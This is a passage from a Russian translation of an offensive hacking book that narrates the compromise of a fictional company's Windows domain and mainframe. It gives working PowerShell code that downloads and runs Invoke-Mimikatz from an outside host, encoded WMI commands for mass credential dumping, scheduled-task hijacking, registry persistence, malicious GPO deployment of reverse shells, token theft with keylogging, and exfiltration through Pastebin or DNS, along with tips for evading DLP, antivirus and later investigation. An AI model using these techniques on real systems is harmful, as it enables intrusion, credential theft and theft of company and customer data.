нет, конечно же, но нам нужна лишь одна учетная запись с
привилегиями домена, подключенная в правильное время к
правильной машине!
Вместо запуска ​Mimikatz ​из ​
CrackMapExec -​ с сервера Front
Gun через SOCKS-прокси в сети Синей коробки - мы запустим его
напрямую с сервера 10.10.20.118. Таким образом мы сможем
избежать любой фильтрации файрволом вообще. (​
CME работает с
RPC портами - 135 и 49152 до 65535 - для удаленного выполнения
Mimikatz.​ Скорее всего, файрвол не разрешает подобных вещей
между DMZ и внутренней сетью).
Мы открываем RDP сеанс, используя полученную учетную
запись администратора, и адаптируем скрипт для поддержки
выполнения
на
нескольких машинах, путем добавления
переключателя ​-Computer​:
$browser = New-Object System.Net.WebClient
IEX($browser.DownloadString("http://192.168.1.46:443/Invoke-Mimikatz.ps1"))
invoke-mimikatz -Computer FRSV27, FRSV210, FRSV229, FRSV97 |out-file
result.txt -Append
На этот раз ​Invoke-Mimikatz создаст удаленные потоки,
используя удаленное выполнение PowerShell (служба WinRM на
порту 5985), затем сохранит результат в файл result.txt.
Перевод
@Ianuaria
skladchik.com
Совет:​ при использовании удаленного выполнения PowerShell,
всегда определяйте имя сервера, а не его IP-адрес (используйте
nslookup​).
Совет​: если удаленное взаимодействие PowerShell (PowerShell
Remoting) отключено (порт 5985), мы можем исправить это при
помощи WMI команды с Windows-машины:
wmic /user:administrator /password:Dom_M@ster_P@ssword1 /node:10.10.20.229 process
call create " powershell enable-PSRemoting -force "
О чудо! Более 60 паролей были собраны. Вполне
предсказуемо, в наше поле зрения попадает учетная запись,
которая может содержать интересные привилегии: ​
adm_supreme.​
Мы запрашиваем группу “domain admins” (администраторы домена),
чтобы убедиться:
Перевод
@Ianuaria
skladchik.com
Adm_supreme ​действительно принадлежит группе “domain admins”.
Шах и мат!
Совет​: при запросе ресурсов домена (групп, пользователей и
т.д.) помните, что нужно всегда использовать валидную учетную
запись домена. На экране выше мы подключились к 10.10.20.118 с
учетной записью ​adm_supreme до того, как выполнить команду
“net group”.
**Глубокое погружение**
Использование возможности invoke-mimikatz выполнять код
на множестве машин не очень надежно. Если админы не
настроили должным образом удаленное взаимодействие
PowerShell, может быть достаточно сложно заставить его
работать. Одно из решений подобной проблемы - это
использование WMI, еще одного интересного инструмента для
выполнения удаленных команд на сервере.
Идея состоит в том, чтобы создать однострочную команду
PowerShell, которая будет запускать ​
Mimikatz и
​ дампить
содержимое в локальный файл. Мы удаленно запускаем этот код с
помощью WMI, ожидаем несколько секунд, затем получаем файл
на нашу машину.
Давайте рассмотрим это шаг за шагом.
1 - Мы немного изменяем предыдущий код, чтобы включить
IP-адрес цели в имя файла с выходными данными:
$browser = New-Object System.Net.WebClient
IEX($browser.DownloadString("http://192.168.1.46:443/Invoke-Mimikatz.ps1"))
$machine_name = (get-netadapter | get-netipaddress | ? addressfamily -eq
"IPv4").ipaddress
invoke-mimikatz | out-file c:\windows\temp\​
$machine_name​".txt"
Перевод
@Ianuaria
skladchik.com
2 - Заменяем каждый перенос строки на “;” и помещаем этот
скрипт внутрь переменной в PowerShell-скрипт:
PS > ​$command​ = '$browser = New-Object
System.Net.WebClient;IEX($browser.DownloadString("http://192.168.1.90:443/InvokeMimikatz.ps1"));$machine_name = (get-netadapter | get-netipaddress | ?
addressfamily -eq "IPv4").ipaddress;invoke-mimikatz | out-file
c:\windows\temp\$machine_name".txt"'
3 - Мы кодируем эту переменную в base64 и определяем целевые
машины:
PS> $bytes = [System.Text.Encoding]::Unicode.GetBytes(​
$command​)
PS> $encodedCommand = [Convert]::​ToBase64String​($bytes)
PS> $PC_IP = @("10.10.20.229", "10.10.20.97")
4 - Далее, мы подготавливаем цикл, запускающий WMI, который
будет порождать PowerShell с предыдущим base64 кодом,
передаваемым в качестве аргумента:
PS> invoke-wmimethod -ComputerName $X win32_process -name create argumentlist ("​powershell -encodedcommand $encodedCommand​")
5. Наконец, мы перемещаем выходные файлы на нашу машину
10.10.20.118:
PS> move-item -path "\\$X\C$\windows\temp\$X.txt" -Destination
C:\users\Administrator\desktop\ -force
Полный скрипт приведен ниже с небольшим дополнением сниппетом кода, который будет ожидать, пока удаленный
процесс не завершится, после чего будет возвращать
результат:
$command = '$browser = New-Object
System.Net.WebClient;IEX($browser.DownloadString("http://192.168.1.46:443/InvokeMimikatz.ps1"));$machine_name = (get-netadapter | get-netipaddress | ?
addressfamily -eq "IPv4").ipaddress;invoke-mimikatz | out-file
c:\windows\temp\$machine_name".txt"'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
Перевод
@Ianuaria
skladchik.com
$encodedCommand = [Convert]::ToBase64String($bytes)
$PC_IP = @("10.10.20.229", "10.10.20.97")
ForEach ($X in $PC_IP) {
$proc = invoke-wmimethod -ComputerName $X win32_process -name create argumentlist ("powershell -encodedcommand $encodedCommand")
$proc_id = $proc.processId
do {(Write-Host "[*] Waiting for mimi to finish on $X"),(Start-Sleep Seconds 2)}
until ((Get-WMIobject -Class Win32_process -Filter "ProcessId=$proc_id" ComputerName $X | where {$_.ProcessId -eq $proc_id}).ProcessID -eq $null)
move-item -path "\\$X\C$\windows\temp\$X.txt" -Destination
C:\users\Administrator\desktop\ -force
write-host "[+] Got file for $X" -foregroundcolor "green"
}
****
Недостающее звено
Помните нашу фишинговую кампанию? Пока мы были заняты
взломом машин и доменов, сотрудники бодро открывали наши
Excel-файлы.
Даже несмотря на то, что теперь мы контролируем все
ресурсы в сети SPH, давайте посмотрим, как добиться такого же
результата через пользовательские рабочии станции, взамен.
Перевод
@Ianuaria
skladchik.com
Примечание:​ мы переходим обратно к фреймворку E
​ mpire​,
где listener на нашем сервере Front Gun ожидал входящие
соединения от малвари из Excel.
Мы взаимодействуем (команда interact) со случайной целью и
выводим список базовой информации об окружении:
Обратная
оболочка
хостится
процессом
PowerShell,
работающим в фоновом режиме. Даже если пользователи закроют
документ Excel, мы по-прежнему сохраняем доступ к их машинам.
Конечно, простая перезагрузка убьет наш агент; по этой причине
нам нужно предпринять меры предосторожности, и лишь затем
двигаться дальше.
При каждом новом входе в систему Windows ищет несколько
ключей реестра и слепо выполняет ряд программ. Мы будем
использовать один из этих ключей реестра для сохранения
PowerShell-скрипта, который будет подключаться обратно всякий
раз, когда пользователь Mike перезагружает свой компьютер.
Перевод
@Ianuaria
skladchik.com
Этот конкретный модуль использует ключ из Run для
достижения
устойчивости
(​HKCU\Software\Microsoft\Windows\CurrentVersion\Run​). Это хорошо
известный метод, используемый разнообразными вредоносными
программами. Это далеко не самый скрытный метод, который мы
можем задействовать, но учитывая наши ограниченные привилегии
на рабочей станции, мы не можем позволить себе что-либо более
сексуальное, пока что.
Совет​: Мы можем вслепую запустить этот модуль на всех
других агентах, просто изменив цель в модуле: “​set agent XXXXX​”.
Теперь, когда у нас все схвачено по этому вопросу, нам нужно
нацелиться на пользователей, у которых с большей вероятностью
имеются права администратора в домене, или как минимум, доступ
к другим серверам. Очевидной целью станет отдел техподдержки.
Мы просим Active Directory вывести список сотрудников,
зарегистрированных в этом отделе:
Перевод
@Ianuaria
skladchik.com
Мы перепроверяем результат, сравнивая его со списком
людей,
которые
кликнули на наш вредоносный файл;
многоуважаемый John выделяется на фоне остальных71:
Даже несмотря на то, что John является руководителем
IT-отдела, он не имеет прав администратора на своей рабочей
станции. Это хорошо, определенный вызов для нас!
Теперь есть множество путей: поиск эксплойтов, неправильно
настроенных служб, паролей в файлах или ключах реестра и т.д.
Один из эксплойтов, популярных на момент написания этой
книги, использует уязвимость ​
MS016-32.​72 Код запуска написан на
PowerShell, что делает его идеальным для нашего текущего
сценария. Однако, у нас не всегда имеется роскошь иметь в
распоряжении публичный эксплойт, так что мы будем идти более
проверенным путем.
Мы запускаем модуль ​
PowerUp​, который выполняет
стандартные проверки в Windows для определения пригодных
путей повышения наших привилегий на машине:
71
Позже мы посмотрим, как можно нацеливаться на пользователей, которые не нажали на
вредоносную полезную нагрузку
72
​https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
Перевод
@Ianuaria
skladchik.com
Никаких неправильно настроенных служб, доступных для
захвата DLL или паролей в открытом тексте. Давайте посмотрим на
список запланированных задач:
Интересно,
есть
запланированная
задача
по
систематическому обновлению экранной заставки пользователей
каждый раз, когда они входят на свои рабочие станции. Скрипт - это
простой “launcher.bat”, который находится в “C:\Apps\screensaver\”. А
что насчет списка доступа, имеющегося для этой папки?
Перевод
@Ianuaria
skladchik.com
Удача! Каждый пользователь имеет полный контроль над
папкой “C:\Apps\screensaver\” (“F” разрешение). Мы можем
захватить эту запланированную задачу, заменив файл “launcher.bat”
на наш собственный скрипт. К примеру, скрипт, который запускает
Mimikatz и
​ сохраняет дамп паролей в локальный файл
(c:\users\john\appdata\local\temp\pass_file.txt).
Мы подготавливаем код как обычно, кодируя его в base64.
Такие же шаги, как и ранее, поэтому не буду подробно расписывать
их:
Ниже представлен скрипт “launcher_me.bat”, который оказывается
на рабочей станции Джона:
Powershell.exe -NonI -W Hidden -enc
JABiAHIAbwB3AHMAZQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAu
Мы загружаем его, используя ​
Empire,​ в целевую папку:
Перевод
@Ianuaria
skladchik.com
И наконец, мы маскируем наш скрипт под новый launcher.bat.
Далее, мы ожидаем; несколько часов, а может быть, день или
два. Со временем, когда Джон войдет в систему73 снова, мы сможем
извлечь наш файл (и конечно, подчистить небольшой беспорядок):
73
Чтобы этот маневр сработал, нам нужно настроить механизм для устойчивости, например,
используя ключ в Run, как объяснялось ранее
Перевод
@Ianuaria
skladchik.com
Интересно!
Похоже,
эта
запланированная
задача
действительно была выполнена с привилегиями​adm_supreme​:
Перевод
@Ianuaria
skladchik.com
Мы используем эти свежесобранные учетные данные для
порождения нового сеанса администратора на рабочей станции.
Новый сеанс ​adm_supreme имеет, по факту, ограниченные
привилегии на рабочей станции (UAC снова в деле). Если нам
нужно выполнить действия с повышенными правами, например,
настроить более устойчивый метод закрепления, шпионить за
Джоном
и
т.д.,
то
нам
нужно
использовать
более
привилегированный контекст, тем самым обходя UAC:
Перевод
@Ianuaria
skladchik.com
Маленькая
звездочка
перед
именем
пользователя
adm_supreme означает, что это сеанс с повышенными
привилегиями. Мы можем использовать этот сеанс, чтобы
настроить устойчивость и другие отличные возможности на рабочей
станции.
Больше паролей
В общем и целом, мы получили одну учетную запись
администратора домена. Одного лишь этого достаточно, чтобы
устроить хаос. Но что произойдет, если этот конкретный админ
изменит свой пароль? Учитывая уровень доступа, который мы уже
имеем, можем ли мы заполучить больше паролей, не создавая
слишком много шума?
Ответ лежит в файле NTDS.DIT: это база данных Active
Directory, которая содержит схему конфигурации, определения
ресурсов и хэши всех пользовательских паролей. Он хранится и
реплицируется на каждом контроллере домена.
Процесс экспорта этого файла и его парсинга является,
однако, очень медленным.74 В реальной жизни нам нужны лишь
74
Первый метод извлечения NTDS:
https://www.trustwave.com/Resources/SpiderLabs-Blog/Tutorial-for-NTDS-goodness-(VSSADMIN,-W
MIS,-NTDS-dit,-SYSTEM)/
Второй метод: ​https://www.cyberis.co.uk/2014/02/obtaining-ntdsdit-using-in-built.html
Перевод
@Ianuaria
skladchik.com
пароли нескольких отдельных пользователей. Мы нацелимся на эти
хэши, злоупотребив функцией репликации Active Directory.
Контроллеры доменов могут обмениваться хэшами пользователей
для делегирования аутентификации друг другу. Олицетворив
контроллер домена, Mimikatz может эффективно запросить любой
хэш пароля.
Строка команды ниже запрашивает хэш администратора домена:
Используя эту учетную запись, мы больше не ограничиваемся
UAC… вообще! Мы выполняем эту команду для каждой учетной
записи домена, которая нас интересует. Мы можем провести атаку
pass-the-hash для олицетворения этих пользователей.
Совет:​ интересная техника закрепления - сгенерировать
золотой тикет (тикет Kerberos, валидный в течение 10 лет).
Ознакомьтесь:
http://blog.gentilkiwi.com/securite/mimikatz/golden-ticket-kerberos
Перевод
@Ianuaria
skladchik.com
Охота за данными
“Алхимики, искавшие золото,
открыли много других более ценных вещей”
Артур Шопенгауэр
Перевод
@Ianuaria
skladchik.com
Теперь, когда у нас есть ключи от королевства, мы можем
целиком сосредоточиться на достижении главной цели нашего
“визита”:
● Получить секретные файлы компании, данные из отдела
кадров и стратегическую информацию
● Собрать дамп ценных электронных писем директора компании
● Слить данные по клиентам
Техника извлечения данных
Определение местоположения данных - простая задача. Их
извлечение без привлечения внимания всех систем тревоги немного сложнее. Инструменты типа систем предотвращения
утечек информации (DLP) поднимут шум, если вы попытаетесь
загрузить не ту презентацию PowerPoint на Google Drive,
независимо от того, насколько она незначительна. Нам нужно быть
осторожными.
В целом, нам нужна надежная стратегия, чтобы:
● Извлечь большие, большие данные (гигабайты), и чтобы никто
и бровью не повел;
● Зашифровать данные, чтобы ослепить любое расследование
в будущем относительно того, какие именно данные были
получены;
● Найти надежный выход наружу, который не блокируется
файрволом или веб-прокси.
Если мы извлечем 50 ГБ за одну ночь, появится очевидное
увеличение объема, которое позже даст людям знать о дате утечки.
Возможно, есть даже система тревоги, которая сработает при
Перевод
@Ianuaria
skladchik.com
обнаружении определенного порогового значения объема. Это
проблематично! Чтобы избежать любых проблем, мы разделим те
данные, которые хотим тайно переправить, на множество
фрагментов и будем незаметно сливать их каждый час/день/неделю
в случайном порядке.
Допустим, мы хотим слить корневой каталог документов
пользователя Rachel: “C:\users\Rachel\documents”. Во-первых, мы
архивируем его, используя нативные команды PowerShell (работает
в Windows 8 и 10, но не работает в 7).
Совет:​ чтобы установить пароль, установите на целевую
машину 7zip и используйте этот PowerShell -скрипт:
http://blog.danskingdom.com/powershell-function-to-create-a-passwordprotected-zip-file/
Выкачивание этого zip-файла, однако, может быть отловлено
системами DLP, которые умеют разархивировать файлы в поиске
тегированных документов. Если они не смогут разархивировать
файл, то они могут просто заблокировать его. Вот почему нам
нужна другая уловка: преобразовать этот явный zip-файл в простой
текстовый файл, который пройдет сквозь любую DLP-систему.
Мы могли бы использовать “certutil -encode”, нативную
команду Windows, для кодирования сжатого документа в base64,
затем отправить результирующий текстовый файл службе загрузки.
Однако, есть инструмент, который автоматизирует эту задачу и
экономит нам несколько минут: Do-Exfiltration.ps1 от ​
Nishang.​75
Есть две основные доступные опции в этом инструменте:
75
​https://github.com/samratashok/nishang/blob/master/Utility/Do-Exfiltration.ps1
Перевод
@Ianuaria
skladchik.com
● Передача данных по HTTPS на веб-сервер, который мы
контролируем;
● Встраивание данных в DNS-запросы, которые отправляются
на наш DNS-сервер. Очень умный способ обхода правил
файрволов и фильтров прокси, поскольку DNS непременно
разрешается проходить через оборудование подобного рода
Мы продолжим с первой опцией, поскольку она предлагает
интересный вариант загрузки данных напрямую на Pastebin.com, так
что нам не придется беспокоиться насчет настройки веб-сервера.
Создаем учетную запись на Pastebin и получаем ключ API
(обозначенный ниже как dev_key). Затем мы запускаем
Do-Exfiltration​при помощи следующей команды:
Как видите, мы можем получить наш файл напрямую с ​
PasteBin​:
Для восстановления архивного документа, скачиваем
текстовый файл, затем декодируем его при помощи команды
base64 на Linux:
Теперь, когда мы знаем, как извлечь данные, давайте копнем
глубже!
Перевод
@Ianuaria
skladchik.com
Стратегические файлы
Критичные корпоративные файлы обычно находятся в двух
локациях:
● Сетевые папки на серверах (и иногда на рабочих станциях)
● Рабочие станции пользователей, как правило машины VIP,
HR, Маркетинг и Бухгалтерия
Из нашего RDP-сеанса на 10.10.20.118, мы можем вывести
список сетевых ресурсов на удаленных серверах, пока не найдем
что-либо интересное:
PowerView.ps176
предоставляет
такие
же
опции
с
использованием метафункции ​
Invoke-ShareFinder,​ которая ищет
все доступные хосты в домене и выводит список их общих сетевых
ресурсов:
76
​https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
Перевод
@Ianuaria
skladchik.com
Совет:​ мы загружаем скрипт, используя I​nvoke-expression (IEX)
для избежания срабатывания тревоги антивируса.
Мы копируем любую директорию, какую захотим, на
Windows-сервер под нашим управлением, архивируем ее и
извлекаем при помощи представленной выше техники. Обычно мы
можем получить достаточно данных с сетевых ресурсов, чтобы
нагнуть целую компанию еще раз семь, пока не наступит
воскресенье.
Впрочем, если мы хотим перейти на следующий уровень, то
можем нацелиться на конкретных пользователей и поискать
информацию у них. Чтобы это сделать, нам нужно понять, кто из
них занимает ключевые позиции в иерархии компании.
Мы ласково спрашиваем Active Directory о должностях и
отделах сотрудников, благодаря чему составляем схему иерархии в
компании. Учитывая наш привилегированный доступ, мы можем
удаленно извлекать любые файлы с их машин, черт возьми, да мы
даже можем записывать их нажатия клавиш, включать камеру,
получать записи разговоров и т.д.
Мы выполняем ​Get-NetUser из PowerView для отображения
списка людей, работающих в отделе кадров HR:
Перевод
@Ianuaria
skladchik.com
Совет:​ мы можем добиться тех же результатов с командой
Get-AdUser,​ доступной в официальном PS-модуле Active Directory.
PS> Get-AdUser -properties Department -Filter 'department -Like "HR"'
Мы повторяем эту процедуру для составления схемы любого
другого основного подразделения внутри компании: правление
(ExCom), Маркетинг, Бухгалтерия и т.д. После получения их имен
пользователей, мы можем начать за ними охоту путем обнаружения
IP/имени их рабочих станций.
Самым надежным способом сделать это будет распарсить
журналы успешных подключений на контроллере домена. Обычно
они содержат данные о последней машине, с которой пользователь
входил в учетную запись.
PowerView предоставляет модуль ​
Invoke-EventHunter для
легкого решения этой задачи:
Похоже, что Juliette в последний раз использовала рабочую
станцию FRPC066 (10.10.20.66). Мы пробуем получить удаленный
Перевод
@Ianuaria
skladchik.com
доступ к дефолтной общей папке на ее рабочей станции, но это
приводит к блокировке локальным брандмауэром:
Нет RDP и RPC портов… По сути, нет пути внутрь с нашей
машины. Но мы по-прежнему контролируем домен, так что
определенно можем сотворить немного магии.
Наше спасение заключается в Объектах Групповой Политики.
GPO - это набор настроек, определенный на уровне домена,
предназначенный
для
изменения
конфигурации ресурсов:
настройка прокси, изменение экранных заставок и конечно,
выполнение скриптов! Время от времени рабочие станции
запрашивают новые настройки GPO у контроллера домена… что
отлично подойдет для обхода правил брандмауэра. Если мы
сможем
подменить
настройку,
которая
затем
запустит
PowerShell-скрипт, то мы сможем запустить обратную оболочку на
ее машине и впоследствии сделать практически все, что захотим.
Во-первых, активируем и импортируем модули Групповой
политики в сеансе PowerShell, доступном на 10.10.20.118:
Далее, мы создаем фейковый GPO под названием ​
Windows
update​(мы нацеливаемся на контроллер домена FRSV210):
Перевод
@Ianuaria
skladchik.com
Мы собираемся нацелиться только на учетную запись Juliette
на компьютере FRPC066, так что мы ограничиваем область влияния
этого GPO:
Наконец, мы связываем его с доменом SPH для его активации:
Возвращаемся во фреймворк ​
Empire н
​ а сервере Front Gun и
генерируем новый агент обратной оболочки, на этот раз
закодированный в base64, чтобы он хорошо подошел для ключа
реестра:
Далее, мы инструктируем объект GPO, который мы создали,
установить ключ реестра в раздел Run в следующий раз, когда
компьютер Juliette запросит новые настройки. Этот ключ реестра
запустит агент PowerShell при следующем входе в систему
пользователя Juliette:
Перевод
@Ianuaria
skladchik.com
Мы терпеливо ждем, когда в конечном итоге наша обратная
оболочка отзвонит домой:
Как только мы окажемся на рабочей станции, то сможем
выполнять практически те же действия для извлечения данных, что
рассматривались ранее.
Совет:​ чтобы избежать возникновения подозрений, мы очищаем
политику GPO, а также ключи реестра, как можно скорее.
Совет:​ мы выбрали модификацию реестра для запуска нашего
скрипта, но если мы подключимся по RDP к контроллеру домена,
то появится еще больше возможностей (деплой скриптов,
файлов .msi и т.д.). Это менее скрытно, так как логи событий
зарегистрируют этот интерактивный сеанс.
Электронные письма
Целевой подход
Самый простой подход для получения электронных писем
конкретных сотрудников компании - это нацелиться на их
компьютеры77, либо выгрузить файл с кэшем Outlook (email.OST):
77
Мы рассмотрели эту часть в предыдущем разделе “Стратегические файлы”
Перевод
@Ianuaria
skladchik.com
● C:\Users\eric\AppData\Local\Microsoft\Outlook;
● C:\Documents и
Settings\eric\Local Settings\Application Data\Microsoft\Outlook
Доступ к компьютеру директора компании закрыт не настолько
сильно, как доступ к машине пользователя Juliette, поэтому мы
просто монтируем удаленную сетевую папку ​
\\FRPC074\C$​,
используя учетные данные администратора домена, и получаем
доступ ко всем его файлам. Мы копируем OST-файл почты
eric.blackie@sphassets.com на наш сервер Front Gun и сможем
просмотреть каждое электронное письмо, которое директор
когда-либо отправлял или получал.
Однако, при открытии OST-файла с помощью стандартных
инструментов78, мы не сможем просмотреть наиболее критичные
электронные письма. Похоже, что руководитель компании
использует шифрование S/MIME для защиты своих писем.
**Примечание по S/MIME**
S/MIME - это общепринятый протокол для защищенного
обмена электронными письмами, основанный на инфраструктуре
открытых ключей. Не вдаваясь в особые подробности, у каждого
пользователя есть открытый и закрытый ключ.
78
Клиент Outlook хорошо подходит. Либо можно найти через Google ряд других, которые также
справятся с этой задачей нормально
Перевод
@Ianuaria
skladchik.com
Когда пользователь A отправляет электронное письмо
пользователю B, A шифрует содержимое письма открытым
ключом B. Поскольку только у пользователя B имеется закрытый
ключ, позволяющий обратить шифрование, только пользователь
B может просмотреть электронное письмо.
Для подписания письма выполняется обратный процесс.
Пользователь A подписывает электронное письмо, используя
свой закрытый ключ, а так как пользователь B имеет доступ к
открытому ключу пользователя A, пользователь B может
расшифровать подпись для подтверждения ее достоверности.
Эта схема чересчур упрощена и не затрагивает гибридное
шифрование, церемонию обмена ключами, обмен ключами,
удостоверяющие центры и т.д., поскольку они попросту не
важны для нашего практического примера.79
****
Проблема состоит в том, что закрытый ключ руководителя
компании Эрика хранится на его машине. Но у нас нет доступа к
этому ключу, даже с правами администратора, потому что Windows
пометил его ключ как неэкспортируемый (“nonexportable”)... Как же
нам справиться с этой проблемой?
Mimikatz с​пешит на помощь… в очередной раз! Насколько
потрясающий инструмент! Мы запускаем его на компьютере
директора, чтобы изменить бит “экспортируемости” в памяти и
сохранить дамп всех сертификатов в локальные файлы.
Мы подключаемся по RDP80 к машине директора и готовим
наш проверенный временем скрипт:
79
Не знаю более крутой книги по криптографии, чем “Прикладная криптография” от Брюса
Шнайера
80
Если RDP-порт не доступен, мы могли бы продолжить с GPO, как и ранее, либо с вызовами
WMI, которые мы рассмотрим позже
Перевод
@Ianuaria
skladchik.com
Устанавливаем сертификаты на машину Front Gun, затем
наслаждаемся дешифрованными электронными письмами нашего
дорогого руководителя компании!
Расширенный подход
Техника, представленная выше, великолепна, но использовать
ее повторно по отношению к десятку или сотням почтовых ящиков далеко не идеальный вариант. Очевидно, если все шифруют свои
электронные письма, от этого никуда не деться. К счастью, очень
немногие люди шифруют свою почту… Мы рассмотрели самый
экстремальный вариант для демонстрации того, как это может
происходить, но в реальной жизни такое не случается слишком
часто.
Для получения электронных писем всех сотрудников мы
вежливо просим локальный Exchange Server предоставить нам все
письма, которые он хранит. Поскольку Exchange Server является
частью домена, он вежливо согласится. Мы можем использовать
Перевод
@Ianuaria
skladchik.com
MailSniper,​ инструмент, написанный на PowerShell, который
предоставляет необходимые команды для выгрузки и сортировки
электронных писем. Попробуйте этот инструмент на практике.81
Данные по клиентам
Подводя итог, мы получили контроль над доменом Windows,
поэтому мы контролируем все ресурсы Windows, имеющиеся в
информационной системе. Это позволяет нам следить за
пользователями и получать их электронные письма, данные отдела
кадров и многое другое.
Однако, как бы пристально мы ни искали, мы не можем нигде
найти данные по клиентам. Это немного раздражает!
В
процессе
обхода
различных
организационных
подразделений (OU) и групп в Active Directory, мы замечаем нечто
любопытное: группу под названием “mainframeAdms”.
Мэйнфрейм - это крупная железная машина с огромной
вычислительной мощностью. В зависимости от модели, RAM может
достигать до 10 ТБ, до 141 процессора, каждый с частотой в 5 Гц и
т.д. Смысл в том, что если компания может себе позволить такого
81
https://www.blackhillsinfosec.com/introducing-mailsniper-a-tool-for-searching-every-users-email-for-se
nsitive-data/
Перевод
@Ianuaria
skladchik.com
монстра, он вряд ли предназначен для хранения их электронных
писем. Наиболее вероятно, что он используется для хостинга
критически важных бизнес-приложений, доступ к которым должен
поддерживаться в режиме 24/7. А следовательно, есть очень
высокий шанс, что наши призовые данные по клиентам находятся
именно там!
Единственная проблема в том, что подобные машины
обладают
великолепной
репутацией
относительно
своей
производительности, стабильности и конечно, уровня безопасности!
Некоторые из них даже называют идеальными, невзламываемыми,
непреодолимыми… короче, вы поняли.
Поищите в интернете способы взлома мэйнфреймов и вы
будете удивлены недостатком информации. Несмотря на то, что в
последние годы наблюдается резкое увеличение информации по
данной теме82, мы по-прежнему находимся сильно далеко от того,
что имеем в случае с машинами на Windows и Linux…
Как бы то ни было, наша цель - заполучить данные клиентов,
так что соберитесь с духом, мы собираемся осуществить нечто
умопомрачительное: поставить мэйнфрейм на колени.
82
В значительной степени благодаря исследователям, типа Soldier of Fortran, bigendiansmalls и
Singe
Перевод
@Ianuaria
skladchik.com
Взлом немыслимого
“Ничего и все вознеможно!”
Барни Стинсон
Перевод
@Ianuaria
skladchik.com
Поул-позиция
Мы могли бы атаковать мэйнфрейм напрямую (сканирование
портов, брутфорс и т.д.), но так ли это необходимо? Давайте
поступим по-умному… Мы контролируем все рабочие станции
Windows в сети. Администраторы мэйнфрейма используют эти же
самые рабочие станции для подключения к “большому железу”.
Если мы сможем пошпионить за ними и получить их пароли, тогда
мы сможем попасть и в мэйнфрейм!
Мы разворачиваем группу ​
mainframeAdms при помощи
команды net на 10.10.20.118:
Мы устанавливаем местоположение рабочих станций
пользователей Barney и Rev, используя ​
Invoke-UserHunter и
Invoke-EventHunter​, как мы делали ранее с компьютером Juliette,
затем готовим полезную нагрузку.
Для запуска кейлоггеров на их рабочих станциях мы можем
продолжить различными способами:
● Украсть их учетные данные и удаленно подключиться к их
рабочим станциям, используя атаку ​
Pass-the-hash для
запуска кейлоггера. (Хотя для этого учетные записи должны
обладать правами локального администратора, что в нашем
случае, судя по всему, не так);
● Использовать учетную запись домена для заражения их
рабочих станций агентом ​
Empire,​ затем запустить кейлоггер;
● Задеплоить вредоносный GPO, нацеленный на них
Перевод
@Ianuaria
skladchik.com
Мы выберем второй вариант, потому что компьютер Barney
позволяет нам выполнять удаленные команды при помощи WMI
(RPC порты открыты на его машине: порт 135 и порты выше 49152).
Мы генерируем код нашего stager-а на сервере Front Gun:
Далее, мы включаем его в удаленный вызов WMI с машины
10.10.20.118:
Как и ожидалось, мы получаем соединение нового агента с
учетной записью ​adm_supreme​:
Обходим
UAC,
используя
проверенный
модуль
bypassuac_eventvwr,​ затем взаимодействуем (команда interact) с
новым, повышенным в привилегиях сеансом.
Однако, если мы запустим кейлоггер, используя этот сеанс,
мы будем получать только нажатия клавиш, совершаемые учетной
записью ​adm_supreme на рабочей станции пользователя Barney…
Перевод
@Ianuaria
skladchik.com
а это ровно 0 нажатий. Это ограничение вызвано простотой
кейлоггера, имеющегося во фреймворке ​
PowerShell Empire​.
Конечно, в нем есть и свои преимущества: это очень легковесный
модуль, который не привлекает много внимания.
Для олицетворения удостоверения Barney мы породим новый
процесс на машине, содержащей его маркер (токен). Маркер
является аналогом куки веб-сессии на Windows. Это структура
данных в памяти, связанная с привилегиями и удостоверением
пользователя, стоящего за каждым процессом.
Чтобы заполучить маркер безопасности Barney, мы попросту
“крадем” его из программы, которая у него запущена в данный
момент: Internet Explorer, Firefox и т.д.
Процесс 1188 мог бы стать отличной мишенью. Команда
“steal_token” запустит процесс PowerShell в фоновом режиме с
удостоверением Barney.
Перевод
@Ianuaria
skladchik.com
Отлично!
Теперь,
когда агент может
удостоверение Barney, мы запускаем кейлоггер:
олицетворить
И действительно, начинают поступать потоки нажатий
клавиатуры, поскольку Barney яростно строчит нечто похожее на
JCL-скрипт83 в блокноте.
Мы ищем нажатия клавиш внутри программ типа Quick3270,
WC3270 и т.д. Это тонкие клиенты, обычно используемые для
доступа к мэйнфреймам. Пару часов спустя мы наконец получаем
нашу самую ценную награду:
83
Язык управления заданиями, скриптовый язык, используемый в мэйнфреймах для
выполнения программ
Перевод
@Ianuaria
skladchik.com
10.10.40.33 – wc3270 - 02/01/2017:09:00:02:44
[Caps Lock]T[Caps Lock]S[Caps Lock]O[Enter]
[Caps Lock]B[Caps Lock]A[Caps Lock]R[Caps Lock]N [Enter]...
[Caps Lock]P[Caps Lock]A[Caps Lock]S[Caps Lock]S[Caps Lock]1
[Enter]
[…]
Мы можем легко найти пароль в потоке нажатий клавиш,
найдя строку “TSO”. Это интерпретатор командной строки в z/OS,
самой популярной операционной системе для мейнфреймов IBM.
Учетная запись в данном случае: ​
BARN/PASS1.​
Выясняется, что мэйнфрейм находится совершенно в другой
сети: 10.10.40.0/24. Помните, мы говорили о темной области,
состоящей из неизвестного содержимого? Что ж, теперь мы можем
пролить свет на как минимум один новый сегмент IP-адресов:
Перевод
@Ianuaria
skladchik.com
Для взаимодействия с мейнфреймом нам нужен эмулятор
3270 на машине 10.10.20.118 (x3270 на Linux или wc3270 на
Windows). Можете считать его чем-то типа разновидностью
Telnet-клиента. Мы загружаем его и подключаемся к IP-адресу:
10.10.40.33.85
84
Экран приветствия называется VTAM и предоставляет доступ
к разным приложениям, которые могут не отобразиться при
сканировании портов. Одно из приложений, которое интересует нас,
это TSO - интерпретатор командной строки в мэйнфрейме.86
84
​http://x3270.bgp.nu/download.html
85
Чтобы сделать это правильно, нужно загрузить второй SOCKS-прокси и запустить его на
10.10.20.118. Далее, дать инструкцию proxychains ходить через два прокси: один в DMZ, затем
через этот второй. Поскольку я уже уточнял, как устанавливать его, то лучше полностью
сфокусируюсь на мэйнфрейме
86
Нам нужно подождать, пока пользователи отключатся от мэйнфрейма, прежде чем
использовать их учетные данные
Перевод
@Ianuaria
skladchik.com
Готово! Теперь мы внутри самой защищенной платформы в
мире…
Верхом на монстре
Приглашение ввода “READY”, приветствующее нас в
мэйнфрейме, предлагает осуществить ввод команд (допускаются
только команды со специфическим синтаксисом, но к ним можно
привыкнуть). Чтобы получить наши текущие привилегии, запускаем
команду
